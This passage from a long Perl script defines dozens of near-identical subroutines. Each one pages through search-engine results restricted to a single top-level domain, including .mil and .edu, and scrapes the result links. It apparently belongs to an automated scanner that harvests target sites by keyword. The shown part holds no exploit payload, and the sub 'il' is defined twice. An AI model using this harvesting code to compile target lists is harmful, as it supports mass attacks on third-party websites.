  4541.                 push(@list,@grep);
  4542.             }
  4543.         }
  4544.     }
  4545.     return @list;
  4546. }
  4547.  
  4548. sub au() {
  4549.     my @list;
  4550.     my $key = $_[0];
  4551.     for (my $i=0; $i<=1000; $i+=100){
  4552.         my $search = ($jack4.uri_escape($key)."%2Bsite%3Aau%26num%3D100%26start%3D".$i);
  4553.         my $res = &search_engine_query($search);
  4554.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  4555.             my $link = $1;
  4556.             if ($link !~ /google/){
  4557.                 my @grep = &links($link);
  4558.                 push(@list,@grep);
  4559.             }
  4560.         }
  4561.     }
  4562.     return @list;
  4563. }
  4564.  
  4565. sub br() {
  4566.     my @list;
  4567.     my $key = $_[0];
  4568.     for (my $i=0; $i<=1000; $i+=100){
  4569.         my $search = ($jack5.uri_escape($key)."%2Bsite%3Abr%26num%3D100%26start%3D".$i);
  4570.         my $res = &search_engine_query($search);
  4571.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  4572.             my $link = $1;
  4573.             if ($link !~ /google/){
  4574.                 my @grep = &links($link);
  4575.                 push(@list,@grep);
  4576.             }
  4577.         }
  4578.     }
  4579.     return @list;
  4580. }
  4581.  
  4582. sub ca() {
  4583.     my @list;
  4584.     my $key = $_[0];
  4585.     for (my $i=0; $i<=1000; $i+=100){
  4586.         my $search = ($jack6.uri_escape($key)."%2Bsite%3Aca%26num%3D100%26start%3D".$i);
  4587.         my $res = &search_engine_query($search);
  4588.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  4589.             my $link = $1;
  4590.             if ($link !~ /google/){
  4591.                 my @grep = &links($link);
  4592.                 push(@list,@grep);
  4593.             }
  4594.         }
  4595.     }
  4596.     return @list;
  4597. }
  4598.  
  4599. sub cl() {
  4600.     my @list;
  4601.     my $key = $_[0];
  4602.     for (my $i=0; $i<=1000; $i+=100){
  4603.         my $search = ($jack7.uri_escape($key)."%2Bsite%3Acl%26num%3D100%26start%3D".$i);
  4604.         my $res = &search_engine_query($search);
  4605.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  4606.             my $link = $1;
  4607.             if ($link !~ /google/){
  4608.                 my @grep = &links($link);
  4609.                 push(@list,@grep);
  4610.             }
  4611.         }
  4612.     }
  4613.     return @list;
  4614. }
  4615.  
  4616. sub cn() {
  4617.     my @list;
  4618.     my $key = $_[0];
  4619.     for (my $i=0; $i<=1000; $i+=100){
  4620.         my $search = ($jack8.uri_escape($key)."%2Bsite%3Acn%26num%3D100%26start%3D".$i);
  4621.         my $res = &search_engine_query($search);
  4622.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  4623.             my $link = $1;
  4624.             if ($link !~ /google/){
  4625.                 my @grep = &links($link);
  4626.                 push(@list,@grep);
  4627.             }
  4628.         }
  4629.     }
  4630.     return @list;
  4631. }
  4632.  
  4633. sub com() {
  4634.     my @list;
  4635.     my $key = $_[0];
  4636.     for (my $i=0; $i<=1000; $i+=100){
  4637.         my $search = ($jack9.uri_escape($key)."%2Bsite%3Acom%26num%3D100%26start%3D".$i);
  4638.         my $res = &search_engine_query($search);
  4639.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  4640.             my $link = $1;
  4641.             if ($link !~ /google/){
  4642.                 my @grep = &links($link);
  4643.                 push(@list,@grep);
  4644.             }
  4645.         }
  4646.     }
  4647.     return @list;
  4648. }
  4649.  
  4650. sub cz() {
  4651.     my @list;
  4652.     my $key = $_[0];
  4653.     for (my $i=0; $i<=1000; $i+=100){
  4654.         my $search = ($jack10.uri_escape($key)."%2Bsite%3Acz%26num%3D100%26start%3D".$i);
  4655.         my $res = &search_engine_query($search);
  4656.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  4657.             my $link = $1;
  4658.             if ($link !~ /google/){
  4659.                 my @grep = &links($link);
  4660.                 push(@list,@grep);
  4661.             }
  4662.         }
  4663.     }
  4664.     return @list;
  4665. }
  4666.  
  4667. sub de() {
  4668.     my @list;
  4669.     my $key = $_[0];
  4670.     for (my $i=0; $i<=1000; $i+=100){
  4671.         my $search = ($jack11.uri_escape($key)."%2Bsite%3Ade%26num%3D100%26start%3D".$i);
  4672.         my $res = &search_engine_query($search);
  4673.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  4674.             my $link = $1;
  4675.             if ($link !~ /google/){
  4676.                 my @grep = &links($link);
  4677.                 push(@list,@grep);
  4678.             }
  4679.         }
  4680.     }
  4681.     return @list;
  4682. }
  4683.  
  4684. sub dk() {
  4685.     my @list;
  4686.     my $key = $_[0];
  4687.     for (my $i=0; $i<=1000; $i+=100){
  4688.         my $search = ($jack12.uri_escape($key)."%2Bsite%3Adk%26num%3D100%26start%3D".$i);
  4689.         my $res = &search_engine_query($search);
  4690.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  4691.             my $link = $1;
  4692.             if ($link !~ /google/){
  4693.                 my @grep = &links($link);
  4694.                 push(@list,@grep);
  4695.             }
  4696.         }
  4697.     }
  4698.     return @list;
  4699. }
  4700.  
  4701. sub es() {
  4702.     my @list;
  4703.     my $key = $_[0];
  4704.     for (my $i=0; $i<=1000; $i+=100){
  4705.         my $search = ($jack13.uri_escape($key)."%2Bsite%3Aes%26num%3D100%26start%3D".$i);
  4706.         my $res = &search_engine_query($search);
  4707.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  4708.             my $link = $1;
  4709.             if ($link !~ /google/){
  4710.                 my @grep = &links($link);
  4711.                 push(@list,@grep);
  4712.             }
  4713.         }
  4714.     }
  4715.     return @list;
  4716. }
  4717.  
  4718. sub eu() {
  4719.     my @list;
  4720.     my $key = $_[0];
  4721.     for (my $i=0; $i<=1000; $i+=100){
  4722.         my $search = ($jack4.uri_escape($key)."%2Bsite%3Aeu%26num%3D100%26start%3D".$i);
  4723.         my $res = &search_engine_query($search);
  4724.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  4725.             my $link = $1;
  4726.             if ($link !~ /google/){
  4727.                 my @grep = &links($link);
  4728.                 push(@list,@grep);
  4729.             }
  4730.         }
  4731.     }
  4732.     return @list;
  4733. }
  4734.  
  4735. sub fr() {
  4736.     my @list;
  4737.     my $key = $_[0];
  4738.     for (my $i=0; $i<=1000; $i+=100){
  4739.         my $search = ($jack5.uri_escape($key)."%2Bsite%3Afr%26num%3D100%26start%3D".$i);
  4740.         my $res = &search_engine_query($search);
  4741.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  4742.             my $link = $1;
  4743.             if ($link !~ /google/){
  4744.                 my @grep = &links($link);
  4745.                 push(@list,@grep);
  4746.             }
  4747.         }
  4748.     }
  4749.     return @list;
  4750. }
  4751.  
  4752. sub hu() {
  4753.     my @list;
  4754.     my $key = $_[0];
  4755.     for (my $i=0; $i<=1000; $i+=100){
  4756.         my $search = ($jack6.uri_escape($key)."%2Bsite%3Ahu%26num%3D100%26start%3D".$i);
  4757.         my $res = &search_engine_query($search);
  4758.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  4759.             my $link = $1;
  4760.             if ($link !~ /google/){
  4761.                 my @grep = &links($link);
  4762.                 push(@list,@grep);
  4763.             }
  4764.         }
  4765.     }
  4766.     return @list;
  4767. }
  4768.  
  4769. sub id() {
  4770.     my @list;
  4771.     my $key = $_[0];
  4772.     for (my $i=0; $i<=1000; $i+=100){
  4773.         my $search = ($jack7.uri_escape($key)."%2Bsite%3Aid%26num%3D100%26start%3D".$i);
  4774.         my $res = &search_engine_query($search);
  4775.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  4776.             my $link = $1;
  4777.             if ($link !~ /google/){
  4778.                 my @grep = &links($link);
  4779.                 push(@list,@grep);
  4780.             }
  4781.         }
  4782.     }
  4783.     return @list;
  4784. }
  4785.  
  4786. sub il() {
  4787.     my @list;
  4788.     my $key = $_[0];
  4789.     for (my $i=0; $i<=1000; $i+=100){
  4790.         my $search = ($jack8.uri_escape($key)."%2Bsite%3Ail%26num%3D100%26start%3D".$i);
  4791.         my $res = &search_engine_query($search);
  4792.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  4793.             my $link = $1;
  4794.             if ($link !~ /google/){
  4795.                 my @grep = &links($link);
  4796.                 push(@list,@grep);
  4797.             }
  4798.         }
  4799.     }
  4800.     return @list;
  4801. }
  4802.  
  4803. sub in() {
  4804.     my @list;
  4805.     my $key = $_[0];
  4806.     for (my $i=0; $i<=1000; $i+=100){
  4807.         my $search = ($jack9.uri_escape($key)."%2Bsite%3Ain%26num%3D100%26start%3D".$i);
  4808.         my $res = &search_engine_query($search);
  4809.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  4810.             my $link = $1;
  4811.             if ($link !~ /google/){
  4812.                 my @grep = &links($link);
  4813.                 push(@list,@grep);
  4814.             }
  4815.         }
  4816.     }
  4817.     return @list;
  4818. }
  4819.  
  4820. sub info() {
  4821.     my @list;
  4822.     my $key = $_[0];
  4823.     for (my $i=0; $i<=1000; $i+=100){
  4824.         my $search = ($jack10.uri_escape($key)."%2Bsite%3Ainfo%26num%3D100%26start%3D".$i);
  4825.         my $res = &search_engine_query($search);
  4826.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  4827.             my $link = $1;
  4828.             if ($link !~ /google/){
  4829.                 my @grep = &links($link);
  4830.                 push(@list,@grep);
  4831.             }
  4832.         }
  4833.     }
  4834.     return @list;
  4835. }
  4836.  
  4837. sub il() {
  4838.     my @list;
  4839.     my $key = $_[0];
  4840.     for (my $i=0; $i<=1000; $i+=100){
  4841.         my $search = ($jack1.uri_escape($key)."%2Bsite%3Ail%26num%3D100%26start%3D".$i);
  4842.         my $res = &search_engine_query($search);
  4843.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  4844.             my $link = $1;
  4845.             if ($link !~ /google/){
  4846.                 my @grep = &links($link);
  4847.                 push(@list,@grep);
  4848.             }
  4849.         }
  4850.     }
  4851.     return @list;
  4852. }
  4853.  
  4854. sub it() {
  4855.     my @list;
  4856.     my $key = $_[0];
  4857.     for (my $i=0; $i<=1000; $i+=100){
  4858.         my $search = ($jack2.uri_escape($key)."%2Bsite%3Ait%26num%3D100%26start%3D".$i);
  4859.         my $res = &search_engine_query($search);
  4860.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  4861.             my $link = $1;
  4862.             if ($link !~ /google/){
  4863.                 my @grep = &links($link);
  4864.                 push(@list,@grep);
  4865.             }
  4866.         }
  4867.     }
  4868.     return @list;
  4869. }
  4870.  
  4871. sub jp() {
  4872.     my @list;
  4873.     my $key = $_[0];
  4874.     for (my $i=0; $i<=1000; $i+=100){
  4875.         my $search = ($jack3.uri_escape($key)."%2Bsite%3Ajp%26num%3D100%26start%3D".$i);
  4876.         my $res = &search_engine_query($search);
  4877.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  4878.             my $link = $1;
  4879.             if ($link !~ /google/){
  4880.                 my @grep = &links($link);
  4881.                 push(@list,@grep);
  4882.             }
  4883.         }
  4884.     }
  4885.     return @list;
  4886. }
  4887.  
  4888. sub kr() {
  4889.     my @list;
  4890.     my $key = $_[0];
  4891.     for (my $i=0; $i<=1000; $i+=100){
  4892.         my $search = ($jack4.uri_escape($key)."%2Bsite%3Akr%26num%3D100%26start%3D".$i);
  4893.         my $res = &search_engine_query($search);
  4894.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  4895.             my $link = $1;
  4896.             if ($link !~ /google/){
  4897.                 my @grep = &links($link);
  4898.                 push(@list,@grep);
  4899.             }
  4900.         }
  4901.     }
  4902.     return @list;
  4903. }
  4904.  
  4905. sub mx() {
  4906.     my @list;
  4907.     my $key = $_[0];
  4908.     for (my $i=0; $i<=1000; $i+=100){
  4909.         my $search = ($jack5.uri_escape($key)."%2Bsite%3Amx%26num%3D100%26start%3D".$i);
  4910.         my $res = &search_engine_query($search);
  4911.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  4912.             my $link = $1;
  4913.             if ($link !~ /google/){
  4914.                 my @grep = &links($link);
  4915.                 push(@list,@grep);
  4916.             }
  4917.         }
  4918.     }
  4919.     return @list;
  4920. }
  4921.  
  4922. sub my() {
  4923.     my @list;
  4924.     my $key = $_[0];
  4925.     for (my $i=0; $i<=1000; $i+=100){
  4926.         my $search = ($jack6.uri_escape($key)."%2Bsite%3Amy%26num%3D100%26start%3D".$i);
  4927.         my $res = &search_engine_query($search);
  4928.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  4929.             my $link = $1;
  4930.             if ($link !~ /google/){
  4931.                 my @grep = &links($link);
  4932.                 push(@list,@grep);
  4933.             }
  4934.         }
  4935.     }
  4936.     return @list;
  4937. }
  4938.  
  4939. sub net() {
  4940.     my @list;
  4941.     my $key = $_[0];
  4942.     for (my $i=0; $i<=1000; $i+=100){
  4943.         my $search = ($jack7.uri_escape($key)."%2Bsite%3Anet%26num%3D100%26start%3D".$i);
  4944.         my $res = &search_engine_query($search);
  4945.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  4946.             my $link = $1;
  4947.             if ($link !~ /google/){
  4948.                 my @grep = &links($link);
  4949.                 push(@list,@grep);
  4950.             }
  4951.         }
  4952.     }
  4953.     return @list;
  4954. }
  4955.  
  4956. sub nl() {
  4957.     my @list;
  4958.     my $key = $_[0];
  4959.     for (my $i=0; $i<=1000; $i+=100){
  4960.         my $search = ($jack8.uri_escape($key)."%2Bsite%3Anl%26num%3D100%26start%3D".$i);
  4961.         my $res = &search_engine_query($search);
  4962.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  4963.             my $link = $1;
  4964.             if ($link !~ /google/){
  4965.                 my @grep = &links($link);
  4966.                 push(@list,@grep);
  4967.             }
  4968.         }
  4969.     }
  4970.     return @list;
  4971. }
  4972.  
  4973. sub org() {
  4974.     my @list;
  4975.     my $key = $_[0];
  4976.     for (my $i=0; $i<=1000; $i+=100){
  4977.         my $search = ($jack9.uri_escape($key)."%2Bsite%3Aorg%26num%3D100%26start%3D".$i);
  4978.         my $res = &search_engine_query($search);
  4979.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  4980.             my $link = $1;
  4981.             if ($link !~ /google/){
  4982.                 my @grep = &links($link);
  4983.                 push(@list,@grep);
  4984.             }
  4985.         }
  4986.     }
  4987.     return @list;
  4988. }
  4989.  
  4990. sub ph() {
  4991.     my @list;
  4992.     my $key = $_[0];
  4993.     for (my $i=0; $i<=1000; $i+=100){
  4994.         my $search = ($jack10.uri_escape($key)."%2Bsite%3Aph%26num%3D100%26start%3D".$i);
  4995.         my $res = &search_engine_query($search);
  4996.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  4997.             my $link = $1;
  4998.             if ($link !~ /google/){
  4999.                 my @grep = &links($link);
  5000.                 push(@list,@grep);
  5001.             }
  5002.         }
  5003.     }
  5004.     return @list;
  5005. }
  5006.  
  5007. sub pl() {
  5008.     my @list;
  5009.     my $key = $_[0];
  5010.     for (my $i=0; $i<=1000; $i+=100){
  5011.         my $search = ($jack11.uri_escape($key)."%2Bsite%3Apl%26num%3D100%26start%3D".$i);
  5012.         my $res = &search_engine_query($search);
  5013.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  5014.             my $link = $1;
  5015.             if ($link !~ /google/){
  5016.                 my @grep = &links($link);
  5017.                 push(@list,@grep);
  5018.             }
  5019.         }
  5020.     }
  5021.     return @list;
  5022. }
  5023.  
  5024. sub ro() {
  5025.     my @list;
  5026.     my $key = $_[0];
  5027.     for (my $i=0; $i<=1000; $i+=100){
  5028.         my $search = ($jack12.uri_escape($key)."%2Bsite%3Aro%26num%3D100%26start%3D".$i);
  5029.         my $res = &search_engine_query($search);
  5030.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  5031.             my $link = $1;
  5032.             if ($link !~ /google/){
  5033.                 my @grep = &links($link);
  5034.                 push(@list,@grep);
  5035.             }
  5036.         }
  5037.     }
  5038.     return @list;
  5039. }
  5040.  
  5041. sub ru() {
  5042.     my @list;
  5043.     my $key = $_[0];
  5044.     for (my $i=0; $i<=1000; $i+=100){
  5045.         my $search = ($jack13.uri_escape($key)."%2Bsite%3Aru%26num%3D100%26start%3D".$i);
  5046.         my $res = &search_engine_query($search);
  5047.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  5048.             my $link = $1;
  5049.             if ($link !~ /google/){
  5050.                 my @grep = &links($link);
  5051.                 push(@list,@grep);
  5052.             }
  5053.         }
  5054.     }
  5055.     return @list;
  5056. }
  5057.  
  5058. sub th() {
  5059.     my @list;
  5060.     my $key = $_[0];
  5061.     for (my $i=0; $i<=1000; $i+=100){
  5062.         my $search = ($jack4.uri_escape($key)."%2Bsite%3Ath%26num%3D100%26start%3D".$i);
  5063.         my $res = &search_engine_query($search);
  5064.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  5065.             my $link = $1;
  5066.             if ($link !~ /google/){
  5067.                 my @grep = &links($link);
  5068.                 push(@list,@grep);
  5069.             }
  5070.         }
  5071.     }
  5072.     return @list;
  5073. }
  5074.  
  5075. sub ua() {
  5076.     my @list;
  5077.     my $key = $_[0];
  5078.     for (my $i=0; $i<=1000; $i+=100){
  5079.         my $search = ($jack5.uri_escape($key)."%2Bsite%3Aua%26num%3D100%26start%3D".$i);
  5080.         my $res = &search_engine_query($search);
  5081.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  5082.             my $link = $1;
  5083.             if ($link !~ /google/){
  5084.                 my @grep = &links($link);
  5085.                 push(@list,@grep);
  5086.             }
  5087.         }
  5088.     }
  5089.     return @list;
  5090. }
  5091.  
  5092. sub uk() {
  5093.     my @list;
  5094.     my $key = $_[0];
  5095.     for (my $i=0; $i<=1000; $i+=100){
  5096.         my $search = ($jack6.uri_escape($key)."%2Bsite%3Auk%26num%3D100%26start%3D".$i);
  5097.         my $res = &search_engine_query($search);
  5098.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  5099.             my $link = $1;
  5100.             if ($link !~ /google/){
  5101.                 my @grep = &links($link);
  5102.                 push(@list,@grep);
  5103.             }
  5104.         }
  5105.     }
  5106.     return @list;
  5107. }
  5108.  
  5109. sub us() {
  5110.     my @list;
  5111.     my $key = $_[0];
  5112.     for (my $i=0; $i<=1000; $i+=100){
  5113.         my $search = ($jack7.uri_escape($key)."%2Bsite%3Aus%26num%3D100%26start%3D".$i);
  5114.         my $res = &search_engine_query($search);
  5115.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  5116.             my $link = $1;
  5117.             if ($link !~ /google/){
  5118.                 my @grep = &links($link);
  5119.                 push(@list,@grep);
  5120.             }
  5121.         }
  5122.     }
  5123.     return @list;
  5124. }
  5125.  
  5126. sub si() {
  5127.     my @list;
  5128.     my $key = $_[0];
  5129.     for (my $i=0; $i<=1000; $i+=100){
  5130.         my $search = ($jack8.uri_escape($key)."%2Bsite%3Asi%26num%3D100%26start%3D".$i);
  5131.         my $res = &search_engine_query($search);
  5132.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  5133.             my $link = $1;
  5134.             if ($link !~ /google/){
  5135.                 my @grep = &links($link);
  5136.                 push(@list,@grep);
  5137.             }
  5138.         }
  5139.     }
  5140.     return @list;
  5141. }
  5142.  
  5143. sub be() {
  5144.     my @list;
  5145.     my $key = $_[0];
  5146.     for (my $i=0; $i<=1000; $i+=100){
  5147.         my $search = ($jack9.uri_escape($key)."%2Bsite%3Abe%26num%3D100%26start%3D".$i);
  5148.         my $res = &search_engine_query($search);
  5149.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  5150.             my $link = $1;
  5151.             if ($link !~ /google/){
  5152.                 my @grep = &links($link);
  5153.                 push(@list,@grep);
  5154.             }
  5155.         }
  5156.     }
  5157.     return @list;
  5158. }
  5159.  
  5160. sub biz() {
  5161.     my @list;
  5162.     my $key = $_[0];
  5163.     for (my $i=0; $i<=1000; $i+=100){
  5164.         my $search = ($jack10.uri_escape($key)."%2Bsite%3Abiz%26num%3D100%26start%3D".$i);
  5165.         my $res = &search_engine_query($search);
  5166.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  5167.             my $link = $1;
  5168.             if ($link !~ /google/){
  5169.                 my @grep = &links($link);
  5170.                 push(@list,@grep);
  5171.             }
  5172.         }
  5173.     }
  5174.     return @list;
  5175. }
  5176.  
  5177. sub xxx() {
  5178.     my @list;
  5179.     my $key = $_[0];
  5180.     for (my $i=0; $i<=1000; $i+=100){
  5181.         my $search = ($jack1.uri_escape($key)."%2Bsite%3Axxx%26num%3D100%26start%3D".$i);
  5182.         my $res = &search_engine_query($search);
  5183.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  5184.             my $link = $1;
  5185.             if ($link !~ /google/){
  5186.                 my @grep = &links($link);
  5187.                 push(@list,@grep);
  5188.             }
  5189.         }
  5190.     }
  5191.     return @list;
  5192. }
  5193.  
  5194. sub tel() {
  5195.     my @list;
  5196.     my $key = $_[0];
  5197.     for (my $i=0; $i<=1000; $i+=100){
  5198.         my $search = ($jack2.uri_escape($key)."%2Bsite%3Atel%26num%3D100%26start%3D".$i);
  5199.         my $res = &search_engine_query($search);
  5200.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  5201.             my $link = $1;
  5202.             if ($link !~ /google/){
  5203.                 my @grep = &links($link);
  5204.                 push(@list,@grep);
  5205.             }
  5206.         }
  5207.     }
  5208.     return @list;
  5209. }
  5210.  
  5211. sub tv() {
  5212.     my @list;
  5213.     my $key = $_[0];
  5214.     for (my $i=0; $i<=1000; $i+=100){
  5215.         my $search = ($jack3.uri_escape($key)."%2Bsite%3Atv%26num%3D100%26start%3D".$i);
  5216.         my $res = &search_engine_query($search);
  5217.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  5218.             my $link = $1;
  5219.             if ($link !~ /google/){
  5220.                 my @grep = &links($link);
  5221.                 push(@list,@grep);
  5222.             }
  5223.         }
  5224.     }
  5225.     return @list;
  5226. }
  5227.  
  5228. sub cc() {
  5229.     my @list;
  5230.     my $key = $_[0];
  5231.     for (my $i=0; $i<=1000; $i+=100){
  5232.         my $search = ($jack4.uri_escape($key)."%2Bsite%3Acc%26num%3D100%26start%3D".$i);
  5233.         my $res = &search_engine_query($search);
  5234.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  5235.             my $link = $1;
  5236.             if ($link !~ /google/){
  5237.                 my @grep = &links($link);
  5238.                 push(@list,@grep);
  5239.             }
  5240.         }
  5241.     }
  5242.     return @list;
  5243. }
  5244.  
  5245. sub mil() {
  5246.     my @list;
  5247.     my $key = $_[0];
  5248.     for (my $i=0; $i<=1000; $i+=100){
  5249.         my $search = ($jack5.uri_escape($key)."%2Bsite%3Amil%26num%3D100%26start%3D".$i);
  5250.         my $res = &search_engine_query($search);
  5251.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  5252.             my $link = $1;
  5253.             if ($link !~ /google/){
  5254.                 my @grep = &links($link);
  5255.                 push(@list,@grep);
  5256.             }
  5257.         }
  5258.     }
  5259.     return @list;
  5260. }
  5261.  
  5262. sub asia() {
  5263.     my @list;
  5264.     my $key = $_[0];
  5265.     for (my $i=0; $i<=1000; $i+=100){
  5266.         my $search = ($jack6.uri_escape($key)."%2Bsite%3Aasia%26num%3D100%26start%3D".$i);
  5267.         my $res = &search_engine_query($search);
  5268.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  5269.             my $link = $1;
  5270.             if ($link !~ /google/){
  5271.                 my @grep = &links($link);
  5272.                 push(@list,@grep);
  5273.             }
  5274.         }
  5275.     }
  5276.     return @list;
  5277. }
  5278.  
  5279. sub name() {
  5280.     my @list;
  5281.     my $key = $_[0];
  5282.     for (my $i=0; $i<=1000; $i+=100){
  5283.         my $search = ($jack7.uri_escape($key)."%2Bsite%3Aname%26num%3D100%26start%3D".$i);
  5284.         my $res = &search_engine_query($search);
  5285.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  5286.             my $link = $1;
  5287.             if ($link !~ /google/){
  5288.                 my @grep = &links($link);
  5289.                 push(@list,@grep);
  5290.             }
  5291.         }
  5292.     }
  5293.     return @list;
  5294. }
  5295.  
  5296. sub pro() {
  5297.     my @list;
  5298.     my $key = $_[0];
  5299.     for (my $i=0; $i<=1000; $i+=100){
  5300.         my $search = ($jack8.uri_escape($key)."%2Bsite%3Apro%26num%3D100%26start%3D".$i);
  5301.         my $res = &search_engine_query($search);
  5302.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  5303.             my $link = $1;
  5304.             if ($link !~ /google/){
  5305.                 my @grep = &links($link);
  5306.                 push(@list,@grep);
  5307.             }
  5308.         }
  5309.     }
  5310.     return @list;
  5311. }
  5312.  
  5313. sub travel() {
  5314.     my @list;
  5315.     my $key = $_[0];
  5316.     for (my $i=0; $i<=1000; $i+=100){
  5317.         my $search = ($jack9.uri_escape($key)."%2Bsite%3Atravel%26num%3D100%26start%3D".$i);
  5318.         my $res = &search_engine_query($search);
  5319.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  5320.             my $link = $1;
  5321.             if ($link !~ /google/){
  5322.                 my @grep = &links($link);
  5323.                 push(@list,@grep);
  5324.             }
  5325.         }
  5326.     }
  5327.     return @list;
  5328. }
  5329.  
  5330. sub jobs() {
  5331.     my @list;
  5332.     my $key = $_[0];
  5333.     for (my $i=0; $i<=1000; $i+=100){
  5334.         my $search = ($jack10.uri_escape($key)."%2Bsite%3Ajobs%26num%3D100%26start%3D".$i);
  5335.         my $res = &search_engine_query($search);
  5336.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  5337.             my $link = $1;
  5338.             if ($link !~ /google/){
  5339.                 my @grep = &links($link);
  5340.                 push(@list,@grep);
  5341.             }
  5342.         }
  5343.     }
  5344.     return @list;
  5345. }
  5346.  
  5347. sub mobi() {
  5348.     my @list;
  5349.     my $key = $_[0];
  5350.     for (my $i=0; $i<=1000; $i+=100){
  5351.         my $search = ($jack11.uri_escape($key)."%2Bsite%3Amobi%26num%3D100%26start%3D".$i);
  5352.         my $res = &search_engine_query($search);
  5353.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  5354.             my $link = $1;
  5355.             if ($link !~ /google/){
  5356.                 my @grep = &links($link);
  5357.                 push(@list,@grep);
  5358.             }
  5359.         }
  5360.     }
  5361.     return @list;
  5362. }
  5363.  
  5364. sub aero() {
  5365.     my @list;
  5366.     my $key = $_[0];
  5367.     for (my $i=0; $i<=1000; $i+=100){
  5368.         my $search = ($jack12.uri_escape($key)."%2Bsite%3Aaero%26num%3D100%26start%3D".$i);
  5369.         my $res = &search_engine_query($search);
  5370.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  5371.             my $link = $1;
  5372.             if ($link !~ /google/){
  5373.                 my @grep = &links($link);
  5374.                 push(@list,@grep);
  5375.             }
  5376.         }
  5377.     }
  5378.     return @list;
  5379. }
  5380.  
  5381. sub cat() {
  5382.     my @list;
  5383.     my $key = $_[0];
  5384.     for (my $i=0; $i<=1000; $i+=100){
  5385.         my $search = ($jack13.uri_escape($key)."%2Bsite%3Acat%26num%3D100%26start%3D".$i);
  5386.         my $res = &search_engine_query($search);
  5387.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  5388.             my $link = $1;
  5389.             if ($link !~ /google/){
  5390.                 my @grep = &links($link);
  5391.                 push(@list,@grep);
  5392.             }
  5393.         }
  5394.     }
  5395.     return @list;
  5396. }
  5397.  
  5398. sub coop() {
  5399.     my @list;
  5400.     my $key = $_[0];
  5401.     for (my $i=0; $i<=1000; $i+=100){
  5402.         my $search = ($jack4.uri_escape($key)."%2Bsite%3Acoop%26num%3D100%26start%3D".$i);
  5403.         my $res = &search_engine_query($search);
  5404.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  5405.             my $link = $1;
  5406.             if ($link !~ /google/){
  5407.                 my @grep = &links($link);
  5408.                 push(@list,@grep);
  5409.             }
  5410.         }
  5411.     }
  5412.     return @list;
  5413. }
  5414.  
  5415. sub edu() {
  5416.     my @list;
  5417.     my $key = $_[0];
  5418.     for (my $i=0; $i<=1000; $i+=100){
  5419.         my $search = ($jack5.uri_escape($key)."%2Bsite%3Aedu%26num%3D100%26start%3D".$i);
  5420.         my $res = &search_engine_query($search);
  5421.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  5422.             my $link = $1;
  5423.             if ($link !~ /google/){
  5424.                 my @grep = &links($link);
  5425.                 push(@list,@grep);
  5426.             }
